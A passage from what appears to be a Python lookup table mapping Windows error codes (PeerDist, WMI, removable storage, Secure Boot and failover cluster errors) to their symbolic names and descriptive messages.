nonconfigured partner is not allowed.\"),\n        0x00000fd2: (\"PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED\", \"The version of the supplied content information is not supported.\"),\n        0x00000fd3: (\"PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO\", \"The supplied content information is malformed.\"),\n        0x00000fd4: (\"PEERDIST_ERROR_MISSING_DATA\", \"The requested data cannot be found in local or peer caches.\"),\n        0x00000fd5: (\"PEERDIST_ERROR_NO_MORE\", \"No more data is available or required.\"),\n        0x00000fd6: (\"PEERDIST_ERROR_NOT_INITIALIZED\", \"The supplied object has not been initialized.\"),\n        0x00000fd7: (\"PEERDIST_ERROR_ALREADY_INITIALIZED\", \"The supplied object has already been initialized.\"),\n        0x00000fd8: (\"PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS\", \"A shutdown operation is already in progress.\"),\n        0x00000fd9: (\"PEERDIST_ERROR_INVALIDATED\", \"The supplied object has already been invalidated.\"),\n        0x00000fda: (\"PEERDIST_ERROR_ALREADY_EXISTS\", \"An element already exists and was not replaced.\"),\n        0x00000fdb: (\"PEERDIST_ERROR_OPERATION_NOTFOUND\", \"Can not cancel the requested operation as it has already been completed.\"),\n        0x00000fdc: (\"PEERDIST_ERROR_ALREADY_COMPLETED\", \"Can not perform the reqested operation because it has already been carried out.\"),\n        0x00000fdd: (\"PEERDIST_ERROR_OUT_OF_BOUNDS\", \"An operation accessed data beyond the bounds of valid data.\"),\n        0x00000fde: (\"PEERDIST_ERROR_VERSION_UNSUPPORTED\", \"The requested version is not supported.\"),\n        0x00000fdf: (\"PEERDIST_ERROR_INVALID_CONFIGURATION\", \"A configuration value is invalid.\"),\n        0x00000fe0: (\"PEERDIST_ERROR_NOT_LICENSED\", \"The SKU is not licensed.\"),\n        0x00000fe1: (\"PEERDIST_ERROR_SERVICE_UNAVAILABLE\", \"PeerDist Service is still initializing and will be available shortly.\"),\n        0x00000fe2: (\"PEERDIST_ERROR_TRUST_FAILURE\", \"Communication with one or more computers will be temporarily blocked due to recent errors.\"),\n        0x00001004: (\"ERROR_DHCP_ADDRESS_CONFLICT\", \"The DHCP client has obtained an IP address that is already in use on the network. The local interface will be disabled until the DHCP client can obtain a new address.\"),\n        0x00001068: (\"ERROR_WMI_GUID_NOT_FOUND\", \"The GUID passed was not recognized as valid by a WMI data provider.\"),\n        0x00001069: (\"ERROR_WMI_INSTANCE_NOT_FOUND\", \"The instance name passed was not recognized as valid by a WMI data provider.\"),\n        0x0000106a: (\"ERROR_WMI_ITEMID_NOT_FOUND\", \"The data item ID passed was not recognized as valid by a WMI data provider.\"),\n        0x0000106b: (\"ERROR_WMI_TRY_AGAIN\", \"The WMI request could not be completed and should be retried.\"),\n        0x0000106c: (\"ERROR_WMI_DP_NOT_FOUND\", \"The WMI data provider could not be located.\"),\n        0x0000106d: (\"ERROR_WMI_UNRESOLVED_INSTANCE_REF\", \"The WMI data provider references an instance set that has not been registered.\"),\n        0x0000106e: (\"ERROR_WMI_ALREADY_ENABLED\", \"The WMI data block or event notification has already been enabled.\"),\n        0x0000106f: (\"ERROR_WMI_GUID_DISCONNECTED\", \"The WMI data block is no longer available.\"),\n        0x00001070: (\"ERROR_WMI_SERVER_UNAVAILABLE\", \"The WMI data service is not available.\"),\n        0x00001071: (\"ERROR_WMI_DP_FAILED\", \"The WMI data provider failed to carry out the request.\"),\n        0x00001072: (\"ERROR_WMI_INVALID_MOF\", \"The WMI MOF information is not valid.\"),\n        0x00001073: (\"ERROR_WMI_INVALID_REGINFO\", \"The WMI registration information is not valid.\"),\n        0x00001074: (\"ERROR_WMI_ALREADY_DISABLED\", \"The WMI data block or event notification has already been disabled.\"),\n        0x00001075: (\"ERROR_WMI_READ_ONLY\", \"The WMI data item or data block is read only.\"),\n        0x00001076: (\"ERROR_WMI_SET_FAILURE\", \"The WMI data item or data block could not be changed.\"),\n        0x0000109a: (\"ERROR_NOT_APPCONTAINER\", \"This operation is only valid in the context of an app container.\"),\n        0x0000109b: (\"ERROR_APPCONTAINER_REQUIRED\", \"This application can only run in the context of an app container.\"),\n        0x0000109c: (\"ERROR_NOT_SUPPORTED_IN_APPCONTAINER\", \"This functionality is not supported in the context of an app container.\"),\n        0x0000109d: (\"ERROR_INVALID_PACKAGE_SID_LENGTH\", \"The length of the SID supplied is not a valid length for app container SIDs.\"),\n        0x000010cc: (\"ERROR_INVALID_MEDIA\", \"The media identifier does not represent a valid medium.\"),\n        0x000010cd: (\"ERROR_INVALID_LIBRARY\", \"The library identifier does not represent a valid library.\"),\n        0x000010ce: (\"ERROR_INVALID_MEDIA_POOL\", \"The media pool identifier does not represent a valid media pool.\"),\n        0x000010cf: (\"ERROR_DRIVE_MEDIA_MISMATCH\", \"The drive and medium are not compatible or exist in different libraries.\"),\n        0x000010d0: (\"ERROR_MEDIA_OFFLINE\", \"The medium currently exists in an offline library and must be online to perform this operation.\"),\n        0x000010d1: (\"ERROR_LIBRARY_OFFLINE\", \"The operation cannot be performed on an offline library.\"),\n        0x000010d2: (\"ERROR_EMPTY\", \"The library, drive, or media pool is empty.\"),\n        0x000010d3: (\"ERROR_NOT_EMPTY\", \"The library, drive, or media pool must be empty to perform this operation.\"),\n        0x000010d4: (\"ERROR_MEDIA_UNAVAILABLE\", \"No media is currently available in this media pool or library.\"),\n        0x000010d5: (\"ERROR_RESOURCE_DISABLED\", \"A resource required for this operation is disabled.\"),\n        0x000010d6: (\"ERROR_INVALID_CLEANER\", \"The media identifier does not represent a valid cleaner.\"),\n        0x000010d7: (\"ERROR_UNABLE_TO_CLEAN\", \"The drive cannot be cleaned or does not support cleaning.\"),\n        0x000010d8: (\"ERROR_OBJECT_NOT_FOUND\", \"The object identifier does not represent a valid object.\"),\n        0x000010d9: (\"ERROR_DATABASE_FAILURE\", \"Unable to read from or write to the database.\"),\n        0x000010da: (\"ERROR_DATABASE_FULL\", \"The database is full.\"),\n        0x000010db: (\"ERROR_MEDIA_INCOMPATIBLE\", \"The medium is not compatible with the device or media pool.\"),\n        0x000010dc: (\"ERROR_RESOURCE_NOT_PRESENT\", \"The resource required for this operation does not exist.\"),\n        0x000010dd: (\"ERROR_INVALID_OPERATION\", \"The operation identifier is not valid.\"),\n        0x000010de: (\"ERROR_MEDIA_NOT_AVAILABLE\", \"The media is not mounted or ready for use.\"),\n        0x000010df: (\"ERROR_DEVICE_NOT_AVAILABLE\", \"The device is not ready for use.\"),\n        0x000010e0: (\"ERROR_REQUEST_REFUSED\", \"The operator or administrator has refused the request.\"),\n        0x000010e1: (\"ERROR_INVALID_DRIVE_OBJECT\", \"The drive identifier does not represent a valid drive.\"),\n        0x000010e2: (\"ERROR_LIBRARY_FULL\", \"Library is full. No slot is available for use.\"),\n        0x000010e3: (\"ERROR_MEDIUM_NOT_ACCESSIBLE\", \"The transport cannot access the medium.\"),\n        0x000010e4: (\"ERROR_UNABLE_TO_LOAD_MEDIUM\", \"Unable to load the medium into the drive.\"),\n        0x000010e5: (\"ERROR_UNABLE_TO_INVENTORY_DRIVE\", \"Unable to retrieve the drive status.\"),\n        0x000010e6: (\"ERROR_UNABLE_TO_INVENTORY_SLOT\", \"Unable to retrieve the slot status.\"),\n        0x000010e7: (\"ERROR_UNABLE_TO_INVENTORY_TRANSPORT\", \"Unable to retrieve status about the transport.\"),\n        0x000010e8: (\"ERROR_TRANSPORT_FULL\", \"Cannot use the transport because it is already in use.\"),\n        0x000010e9: (\"ERROR_CONTROLLING_IEPORT\", \"Unable to open or close the inject/eject port.\"),\n        0x000010ea: (\"ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA\", \"Unable to eject the medium because it is in a drive.\"),\n        0x000010eb: (\"ERROR_CLEANER_SLOT_SET\", \"A cleaner slot is already reserved.\"),\n        0x000010ec: (\"ERROR_CLEANER_SLOT_NOT_SET\", \"A cleaner slot is not reserved.\"),\n        0x000010ed: (\"ERROR_CLEANER_CARTRIDGE_SPENT\", \"The cleaner cartridge has performed the maximum number of drive cleanings.\"),\n        0x000010ee: (\"ERROR_UNEXPECTED_OMID\", \"Unexpected on-medium identifier.\"),\n        0x000010ef: (\"ERROR_CANT_DELETE_LAST_ITEM\", \"The last remaining item in this group or resource cannot be deleted.\"),\n        0x000010f0: (\"ERROR_MESSAGE_EXCEEDS_MAX_SIZE\", \"The message provided exceeds the maximum size allowed for this parameter.\"),\n        0x000010f1: (\"ERROR_VOLUME_CONTAINS_SYS_FILES\", \"The volume contains system or paging files.\"),\n        0x000010f2: (\"ERROR_INDIGENOUS_TYPE\", \"The media type cannot be removed from this library since at least one drive in the library reports it can support this media type.\"),\n        0x000010f3: (\"ERROR_NO_SUPPORTING_DRIVES\", \"This offline media cannot be mounted on this system since no enabled drives are present which can be used.\"),\n        0x000010f4: (\"ERROR_CLEANER_CARTRIDGE_INSTALLED\", \"A cleaner cartridge is present in the tape library.\"),\n        0x000010f5: (\"ERROR_IEPORT_FULL\", \"Cannot use the inject/eject port because it is not empty.\"),\n        0x000010fe: (\"ERROR_FILE_OFFLINE\", \"This file is currently not available for use on this computer.\"),\n        0x000010ff: (\"ERROR_REMOTE_STORAGE_NOT_ACTIVE\", \"The remote storage service is not operational at this time.\"),\n        0x00001100: (\"ERROR_REMOTE_STORAGE_MEDIA_ERROR\", \"The remote storage service encountered a media error.\"),\n        0x00001126: (\"ERROR_NOT_A_REPARSE_POINT\", \"The file or directory is not a reparse point.\"),\n        0x00001127: (\"ERROR_REPARSE_ATTRIBUTE_CONFLICT\", \"The reparse point attribute cannot be set because it conflicts with an existing attribute.\"),\n        0x00001128: (\"ERROR_INVALID_REPARSE_DATA\", \"The data present in the reparse point buffer is invalid.\"),\n        0x00001129: (\"ERROR_REPARSE_TAG_INVALID\", \"The tag present in the reparse point buffer is invalid.\"),\n        0x0000112a: (\"ERROR_REPARSE_TAG_MISMATCH\", \"There is a mismatch between the tag specified in the request and the tag present in the reparse point.\"),\n        0x00001130: (\"ERROR_APP_DATA_NOT_FOUND\", \"Fast Cache data not found.\"),\n        0x00001131: (\"ERROR_APP_DATA_EXPIRED\", \"Fast Cache data expired.\"),\n        0x00001132: (\"ERROR_APP_DATA_CORRUPT\", \"Fast Cache data corrupt.\"),\n        0x00001133: (\"ERROR_APP_DATA_LIMIT_EXCEEDED\", \"Fast Cache data has exceeded its max size and cannot be updated.\"),\n        0x00001134: (\"ERROR_APP_DATA_REBOOT_REQUIRED\", \"Fast Cache has been ReArmed and requires a reboot until it can be updated.\"),\n        0x00001144: (\"ERROR_SECUREBOOT_ROLLBACK_DETECTED\", \"Secure Boot detected that rollback of protected data has been attempted.\"),\n        0x00001145: (\"ERROR_SECUREBOOT_POLICY_VIOLATION\", \"The value is protected by Secure Boot policy and cannot be modified or deleted.\"),\n        0x00001146: (\"ERROR_SECUREBOOT_INVALID_POLICY\", \"The Secure Boot policy is invalid.\"),\n        0x00001147: (\"ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND\", \"A new Secure Boot policy did not contain the current publisher on its update list.\"),\n        0x00001148: (\"ERROR_SECUREBOOT_POLICY_NOT_SIGNED\", \"The Secure Boot policy is either not signed or is signed by a non-trusted signer.\"),\n        0x00001149: (\"ERROR_SECUREBOOT_NOT_ENABLED\", \"Secure Boot is not enabled on this machine.\"),\n        0x0000114a: (\"ERROR_SECUREBOOT_FILE_REPLACED\", \"Secure Boot requires that certain files and drivers are not replaced by other files or drivers.\"),\n        0x00001158: (\"ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED\", \"The copy offload read operation is not supported by a filter.\"),\n        0x00001159: (\"ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED\", \"The copy offload write operation is not supported by a filter.\"),\n        0x0000115a: (\"ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED\", \"The copy offload read operation is not supported for the file.\"),\n        0x0000115b: (\"ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED\", \"The copy offload write operation is not supported for the file.\"),\n        0x00001194: (\"ERROR_VOLUME_NOT_SIS_ENABLED\", \"Single Instance Storage is not available on this volume.\"),\n        0x00001389: (\"ERROR_DEPENDENT_RESOURCE_EXISTS\", \"The operation cannot be completed because other resources are dependent on this resource.\"),\n        0x0000138a: (\"ERROR_DEPENDENCY_NOT_FOUND\", \"The cluster resource dependency cannot be found.\"),\n        0x0000138b: (\"ERROR_DEPENDENCY_ALREADY_EXISTS\", \"The cluster resource cannot be made dependent on the specified resource because it is already dependent.\"),\n        0x0000138c: (\"ERROR_RESOURCE_NOT_ONLINE\", \"The cluster resource is not online.\"),\n        0x0000138d: (\"ERROR_HOST_NODE_NOT_AVAILABLE\", \"A cluster node is not available for this operation.\"),\n        0x0000138e: (\"ERROR_RESOURCE_NOT_AVAILABLE\", \"The cluster resource is not available.\"),\n        0x0000138f: (\"ERROR_RESOURCE_NOT_FOUND\", \"The cluster resource could not be found.\"),\n        0x00001390: (\"ERROR_SHUTDOWN_CLUSTER\", \"The cluster is being shut down.\"),\n        0x00001391: (\"ERROR_CANT_EVICT_ACTIVE_NODE\", \"A cluster node cannot be evicted from the cluster unless the node is down or it is the last node.\"),\n        0x00001392: (\"ERROR_OBJECT_ALREADY_EXISTS\", \"The object already exists.\"),\n        0x00001393: (\"ERROR_OBJECT_IN_LIST\", \"The object is already in the list.\"),\n        0x00001394: (\"ERROR_GROUP_NOT_AVAILABLE\", \"The cluster group is not available for any new requests.\"),\n        0x00001395: (\"ERROR_GROUP_NOT_FOUND\", \"The cluster group could not be found.\"),\n        0x00001396: (\"ERROR_GROUP_NOT_ONLINE\", \"The operation could not be completed because the cluster group is not online.\"),\n        0x00001397: (\"ERROR_HOST_NODE_NOT_RESOURCE_OWNER\", \"The operation failed because either the specified cluster node is not the owner of the resource, or the node is not a possible owner of the resource.\"),\n        0x00001398: (\"ERROR_HOST_NODE_NOT_GROUP_OWNER\", \"The operation failed because either the specified cluster node is not the owner of the group, or the node is not a possible owner of the group.\"),\n        0x00001399: (\"ERROR_RESMON_CREATE_FAILED\", \"The cluster resource could not be created in the specified resource monitor.\"),\n        0x0000139a: (\"ERROR_RESMON_ONLINE_FAILED\", \"The cluster resource could not be brought online by the resource monitor.\"),\n        0x0000139b: (\"ERROR_RESOURCE_ONLINE\", \"The operation could not be completed because the cluster resource is online.\"),\n        0x0000139c: (\"ERROR_QUORUM_RESOURCE\", \"The cluster resource could not be deleted or brought offline because it is the quorum resource.\"),\n        0x0000139d: (\"ERROR_NOT_QUORUM_CAPABLE\", \"The cluster could not make the specified resource a quorum resource because it is not capable of being a quorum resource.\"),\n        0x0000139e: (\"ERROR_CLUSTER_SHUTTING_DOWN\", \"The cluster software is shutting down.\"),\n        0x0000139f: (\"ERROR_INVALID_STATE\", \"The group or resource is not in the correct state to perform the requested operation.\"),\n        0x000013a0: (\"ERROR_RESOURCE_PROPERTIES_STORED\", \"The properties were stored but not all changes will take effect until the next time the resource is brought online.\"),\n        0x000013a1: (\"ERROR_NOT_QUORUM_CLASS\", \"The cluster could not make the specified resource a quorum resource because it does not belong to a shared storage class.\"),\n        0x000013a2: (\"ERROR_CORE_RESOURCE\", \"The cluster resource could not be deleted since it is a core resource.\"),\n        0x000013a3: (\"ERROR_QUORUM_RESOURCE_ONLINE_FAILED\", \"The quorum resource failed to come online.\"),\n        0x000013a4: (\"ERROR_QUORUMLOG_OPEN_FAILED\", \"The quorum log could not be created or mounted successfully.\"),\n        0x000013a5: (\"ERROR_CLUSTERLOG_CORRUPT\", \"The cluster log is corrupt.\"),\n        0x000013a6: (\"ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE\", \"The record could not be written to the cluster log since it exceeds the maximum size.\"),\n        0x000013a7: (\"ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE\", \"The cluster log exceeds its maximum size.\"),\n        0x000013a8: (\"ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND\", \"No checkpoint record was found in the cluster log.\"),\n        0x000013a9: (\"ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE\", \"The minimum required disk space needed for logging is not available.\"),\n        0x000013aa: (\"ERROR_QUORUM_OWNER_ALIVE\", \"The cluster node failed to take control of the quorum resource because the resource is owned by another active node.\"),\n        0x000013ab: (\"ERROR_NETWORK_NOT_AVAILABLE\", \"A cluster network is not available for this operation.\"),\n        0x000013ac: (\"ERROR_NODE_NOT_AVAILABLE\", \"A cluster node is not available for this operation.\"),\n        0x000013ad: (\"ERROR_ALL_NODES_NOT_AVAILABLE\", \"All cluster nodes must be running to perform this operation.\"),\n        0x000013ae: (\"ERROR_RESOURCE_FAILED\", \"A cluster resource failed.\"),\n        0x000013af: (\"ERROR_CLUSTER_INVALID_NODE\", \"The cluster node is not valid.\"),\n        0x000013b0: (\"ERROR_CLUSTER_NODE_EXISTS\", \"The cluster node already exists.\"),\n        0x000013b1: (\"ERROR_CLUSTER_JOIN_IN_PROGRESS\", \"A node is in the process of joining the cluster.\"),\n        0x000013b2: (\"ERROR_CLUSTER_NODE_NOT_FOUND\", \"The cluster node was not found.\"),\n        0x000013b3: (\"ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND\", \"The cluster local node information was not found.\"),\n        0x000013b4: (\"ERROR_CLUSTER_NETWORK_EXISTS\", \"The cluster network already exists.\"),\n        0x000013b5: (\"ERROR_CLUSTER_NETWORK_NOT_FOUND\", \"The cluster network was not found.\"),\n        0x000013b6: (\"ERROR_CLUSTER_NETINTERFACE_EXISTS\", \"The cluster network interface already exists.\"),\n        0x000013b7: (\"ERROR_CLUSTER_NETINTERFACE_NOT_FOUND\", \"The cluster network interface was not found.\"),\n        0x000013b8: (\"ERROR_CLUSTER_INVALID_REQUEST\", \"The cluster request is not valid for this object.\"),\n        0x000013b9: (\"ERROR_CLUSTER_INVALID_NETWORK_PROVIDER\", \"The cluster network provider is not valid.\"),\n        0x000013ba: (\"ERROR_CLUSTER_NODE_DOWN\", \"The cluster node is down.\"),\n        0x000013bb: (\"ERROR_CLUSTER_NODE_UNREACHABLE\", \"The cluster node is not reachable.\"),\n        0x000013bc: (\"ERROR_CLUSTER_NODE_NOT_MEMBER\", \"The cluster node is not a member of the cluster.\"),\n        0x000013bd: (\"ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS\", \"A cluster join operation is not in progress.\"),\n        0x000013be: (\"ERROR_CLUSTER_INVALID_NETWORK\", \"The cluster network is not valid.\"),\n        0x000013c0: (\"ERROR_CLUSTER_NODE_UP\", \"The cluster node is up.\"),\n        0x000013c1: (\"ERROR_CLUSTER_IPADDR_IN_USE\", \"The cluster IP address is already in use.\"),\n        0x000013c2: (\"ERROR_CLUSTER_NODE_NOT_PAUSED\", \"The cluster node is not paused.\"),\n        0x000013c3: (\"ERROR_CLUSTER_NO_SECURITY_CONTEXT\", \"No cluster security context is available.\"),\n        0x000013c4: (\"ERROR_CLUSTER_NETWORK_NOT_INTERNAL\", \"The cluster network is not configured for internal cluster communication.\"),\n        0x000013c5: (\"ERROR_CLUSTER_NODE_ALREADY_UP\", \"The cluster node is already up.\"),\n        0x000013c6: (\"ERROR_CLUSTER_NODE_ALREADY_DOWN\", \"The cluster node is already down.\"),\n        0x000013c7: (\"ERROR_CLUSTER_NETWORK_ALREADY_ONLINE\", \"The cluster network is already online.\"),\n        0x000013c8: (\"ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE\", \"The cluster network is already offline.\"),\n        0x000013c9: (\"ERROR_CLUSTER_NODE_ALREADY_MEMBER\", \"The cluster node is already a member of the cluster.\"),\n        0x000013ca: (\"ERROR_CLUSTER_LAST_INTERNAL_NETWORK\", \"The cluster network is the only one configured for internal cluster communication between two or more active cluster nodes. The internal communication capability cannot be removed from the network.\"),\n        0x000013cb: (\"ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS\", \"One or more cluster resources depend on the network to provide service to clients. The client access capability cannot be removed from the network.\"),\n        0x000013cc: (\"ERROR_INVALID_OPERATION_ON_QUORUM\", \"This operation cannot be performed on the cluster resource as it the quorum resource. You may not bring the quorum resource offline or modify its possible owners list.\"),\n        0x000013cd: (\"ERROR_DEPENDENCY_NOT_ALLOWED\", \"The cluster quorum resource is not allowed to have any dependencies.\"),\n        0x000013ce: (\"ERROR_CLUSTER_NODE_PAUSED\", \"The cluster node is paused.\"),\n        0x000013cf: (\"ERROR_NODE_CANT_HOST_RESOURCE\", \"The cluster resource cannot be brought online. The owner node cannot run this resource.\"),\n        0x000013d0: (\"ERROR_CLUSTER_NODE_NOT_READY\", \"The cluster node is not ready to perform the requested operation.\"),\n        0x000013d1: (\"ERROR_CLUSTER_NODE_SHUTTING_DOWN\", \"The cluster node is shutting down.\"),\n        0x000013d2: (\"ERROR_CLUSTER_JOIN_ABORTED\", \"The cluster join operation was aborted.\"),\n        0x000013d3: (\"ERROR_CLUSTER_INCOMPATIBLE_VERSIONS\", \"The cluster join operation failed due to incompatible software versions between the joining node and its sponsor.\"),\n        0x000013d4: (\"ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED\", \"This resource cannot be created because the cluster has reached the limit on the number of resources it can monitor.\"),\n        0x000013d5: (\"ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED\", \"The system configuration changed during the cluster join or form operation. The join or form operation was aborted.\"),\n        0x000013d6: (\"ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND\", \"The specified resource type was not found.\"),\n        0x000013d7: (\"ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED\", \"The specified node does not support a resource of this type. This may be due to version inconsistencies or due to the absence of the resource DLL on this node.\"),\n        0x000013d8: (\"ERROR_CLUSTER_RESNAME_NOT_FOUND\", \"The specified resource name is not supported by this resource DLL. This may be due to a bad (or changed) name supplied to the resource DLL.\"),\n        0x000013d9: (\"ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED\", \"No authentication package could be registered with the RPC server.\"),\n        0x000013da: (\"ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST\", \"You cannot bring the group online because the owner of the group is not in the preferred list for the group. To change the owner node for the group, move the group.\"),\n        0x000013db: (\"ERROR_CLUSTER_DATABASE_SEQMISMATCH\", \"The join operation failed because the cluster database sequence number has changed or is incompatible with the locker node. This may happen during a join operation if the cluster database was changing during the join.\"),\n        0x000013dc: (\"ERROR_RESMON_INVALID_STATE\", \"The resource monitor will not allow the fail operation to be performed while the resource is in its current state. This may happen if the resource is in a pending state.\"),\n        0x000013dd: (\"ERROR_CLUSTER_GUM_NOT_LOCKER\", \"A non locker code got a request to reserve the lock for making global updates.\"),\n        0x000013de: (\"ERROR_QUORUM_DISK_NOT_FOUND\", \"The quorum disk could not be located by the cluster service.\"),\n        0x000013df: (\"ERROR_DATABASE_BACKUP_CORRUPT\", \"The backed up cluster database is possibly corrupt.\"),\n        0x000013e0: (\"ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT\", \"A DFS root already exists in this cluster node.\"),\n        0x000013e1: (\"ERROR_RESOURCE_PROPERTY_UNCHANGEABLE\", \"An attempt to modify a resource property failed because it conflicts with another existing property.\"),\n        0x00001702: (\"ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE\", \"An operation was attempted that is incompatible with the current membership state of the node.\"),\n        0x00001703: (\"ERROR_CLUSTER_QUORUMLOG_NOT_FOUND\", \"The quorum resource does not contain the quorum log.\"),\n        0x00001704: (\"ERROR_CLUSTER_MEMBERSHIP_HALT\", \"The membership engine requested shutdown of the cluster service on this node.\"),\n        0x00001705: (\"ERROR_CLUSTER_INSTANCE_ID_MISMATCH\", \"The join operation failed because the cluster instance ID of the joining node does not match the cluster instance ID of the sponsor node.\"),\n        0x00001706: (\"ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP\", \"A matching cluster network for the specified IP address could not be found.\"),\n        0x00001707: (\"ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH\", \"The actual data type of the property did not match the expected data type of the property.\"),\n        0x00001708: (\"ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP\", \"The cluster node was evicted from the cluster successfully, but the node was not cleaned up. To determine what cleanup steps failed and how to recover, see the Failover Clustering application event log using Event Viewer.\"),\n        0x00001709: (\"ERROR_CLUSTER_PARAMETER_MISMATCH\", \"Two or more parameter values specified for a resource's properties are in conflict.\"),\n        0x0000170a: (\"ERROR_NODE_CANNOT_BE_CLUSTERED\", \"This computer cannot be made a member of a cluster.\"),\n        0x0000170b: (\"ERROR_CLUSTER_WRONG_OS_VERSION\", \"This computer cannot be made a member of a cluster because it does not have the correct version of Windows installed.\"),\n        0x0000170c: (\"ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME\", \"A cluster cannot be created with the specified cluster name because that cluster name is already in use. Specify a different name for the cluster.\"),\n        0x0000170d: (\"ERROR_CLUSCFG_ALREADY_COMMITTED\", \"The cluster configuration action has already been committed.\"),\n        0x0000170e: (\"ERROR_CLUSCFG_ROLLBACK_FAILED\", \"The cluster configuration action could not be rolled back.\"),\n        0x0000170f: (\"ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT\", \"The drive letter assigned to a system disk on one node conflicted with the drive letter assigned to a disk on another node.\"),\n        0x00001710: (\"ERROR_CLUSTER_OLD_VERSION\", \"One or more nodes in the cluster are running a version of Windows that does not support this operation.\"),\n        0x00001711: (\"ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME\", \"The name of the corresponding computer account doesn't match the Network Name for this resource.\"),\n        0x00001712: (\"ERROR_CLUSTER_NO_NET_ADAPTERS\", \"No network adapters are available.\"),\n        0x00001713: (\"ERROR_CLUSTER_POISONED\", \"The cluster node has been poisoned.\"),\n        0x00001714: (\"ERROR_CLUSTER_GROUP_MOVING\", \"The group is unable to accept the request since it is moving to another node.\"),\n        0x00001715: (\"ERROR_CLUSTER_RESOURCE_TYPE_BUSY\", \"The resource type cannot accept the request since is too busy performing another operation.\"),\n        0x00001716: (\"ERROR_RESOURCE_CALL_TIMED_OUT\", \"The call to the cluster resource DLL timed out.\"),\n        0x00001717: (\"ERROR_INVALID_CLUSTER_IPV6_ADDRESS\", \"The address is not valid for an IPv6 Address resource. A global IPv6 address is required, and it must match a cluster network. Compatibility addresses are not permitted.\"),\n        0x00001718: (\"ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION\", \"An internal cluster error occurred. A call to an invalid function was attempted.\"),\n        0x00001719: (\"ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS\", \"A parameter value is out of acceptable range.\"),\n        0x0000171a: (\"ERROR_CLUSTER_PARTIAL_SEND\", \"A network error occurred while sending data to another node in the cluster. The number of bytes transmitted was less than required.\"),\n        0x0000171b: (\"ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION\", \"An invalid cluster registry operation was attempted.\"),\n        0x0000171c: (\"ERROR_CLUSTER_INVALID_STRING_TERMINATION\", \"An input string of characters is not properly terminated.\"),\n        0x0000171d: (\"ERROR_CLUSTER_INVALID_STRING_FORMAT\", \"An input string of characters is not in a valid format for the data it represents.\"),\n        0x0000171e: (\"ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS\", \"An internal cluster error occurred. A cluster database transaction was attempted while a transaction was already in progress.\"),\n        0x0000171f: (\"ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS\", \"An internal cluster error occurred. There was an attempt to commit a cluster database transaction while no transaction was in progress.\"),\n        0x00001720: (\"ERROR_CLUSTER_NULL_DATA\", \"An internal cluster error occurred. Data was not properly initialized.\"),\n        0x00001721: (\"ERROR_CLUSTER_PARTIAL_READ\", \"An error occurred while reading from a stream of data. An unexpected number of bytes was returned.\"),\n        0x00001722: (\"ERROR_CLUSTER_PARTIAL_WRITE\", \"An error occurred while writing to a stream of data. The required number of bytes could not be written.\"),\n        0x00001723: (\"ERROR_CLUSTER_CANT_DESERIALIZE_DATA\", \"An error occurred while deserializing a stream of cluster data.\"),\n        0x00001724: (\"ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT\", \"One or more property values for this resource are in conflict with one or more property values associated with its dependent resource(s).\"),\n        0x00001725: (\"ERROR_CLUSTER_NO_QUORUM\", \"A quorum of cluster nodes was not present to form a cluster.\"),\n        0x00001726: (\"ERROR_CLUSTER_INVALID_IPV6_NETWORK\", \"The cluster network is not valid for an IPv6 Address resource, or it does not match the configured address.\"),\n        0x00001727: (\"ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK\", \"The cluster network is not valid for an IPv6 Tunnel resource. Check the configuration of the IP Address resource on which the IPv6 Tunnel resource depends.\"),\n        0x00001728: (\"ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP\", \"Quorum resource cannot reside in the Available Storage group.\"),\n        0x00001729: (\"ERROR_DEPENDENCY_TREE_TOO_COMPLEX\", \"The dependencies for this resource are nested too deeply.\"),\n        0x0000172a: (\"ERROR_EXCEPTION_IN_RESOURCE_CALL\", \"The call into the resource DLL raised an unhandled exception.\"),\n        0x0000172b: (\"ERROR_CLUSTER_RHS_FAILED_INITIALIZATION\", \"The RHS process failed to initialize.\"),\n        0x0000172c: (\"ERROR_CLUSTER_NOT_INSTALLED\", \"The Failover Clustering feature is not installed on this node.\"),\n        0x0000172d: (\"ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE\", \"The resources must be online on the same node for this operation\"),\n        0x0000172e: (\"ERROR_CLUSTER_MAX_NODES_IN_CLUSTER\", \"A new node can not be added since this cluster is already at its maximum number of nodes.\"),\n        0x0000172f: (\"ERROR_CLUSTER_TOO_MANY_NODES\", \"This cluster can not be created since the specified number of nodes exceeds the maximum allowed limit.\"),\n        0x00001730: (\"ERROR_CLUSTER_OBJECT_ALREADY_USED\", 